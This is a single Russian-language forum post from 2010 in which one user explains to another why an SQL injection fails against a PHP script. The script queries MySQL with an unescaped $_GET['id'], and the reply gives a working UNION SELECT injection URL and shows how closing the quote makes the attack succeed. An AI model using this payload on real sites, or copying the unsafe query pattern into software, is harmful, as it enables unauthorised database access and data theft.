Показать сообщение отдельно

  #6  
Старый 16.01.2010, 17:38
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами: 9100556

Репутация: 912
По умолчанию

Цитата:
Сообщение от Серёжа393  
Подскадите пожалуйста. Ума не приложу
Вот код:

PHP код:
include("config.php");
$response=mysql_query("SELECT * FROM articles WHERE id='".$_GET['id']."'");
$result=mysql_fetch_array($response);

  ...

echo 
"
<table width=\"100%\">
<tr><th>"
.$result['title']."</th></tr>
<tr><td><img src="
.$result['image']." width=200><br>".$result['text']."</td></tr>
</table><br>
"

Почему не проходит инъекция? когда подставишь ковычку - ошибку есть mysql_fetch_array().
http://site.ru/script.php?id=-1'+union+select+1,2,3,4+--+

Будет работать при mq=off

Цитата:
А странно то, что если убрать рядом id ковычки одинарные, т.е. запрос станент таким
то обычная инъекция проходит! В чём такая странность из-за ковычек. подскажите плиз
PHP код:
mysql_query("SELECT * FROM articles WHERE id=".$_GET.""); 
Когда стоят кавычки '', запрос получается:

PHP код:
$response=mysql_query("SELECT * FROM articles WHERE id='1+union+select+1,3,4+--+'"); 
php вернет ошибку из-за незакрытой кавычки. Нужно закрыть кавычку и делать запрос:

PHP код:
$response=mysql_query("SELECT * FROM articles WHERE id='1' union select 1,2,3,4+--+'"); 
Читай: http://forum.antichat.ru/thread19844.html

Последний раз редактировалось .:[melkiy]:.; 15.02.2010 в 01:00..
 
Ответить с цитированием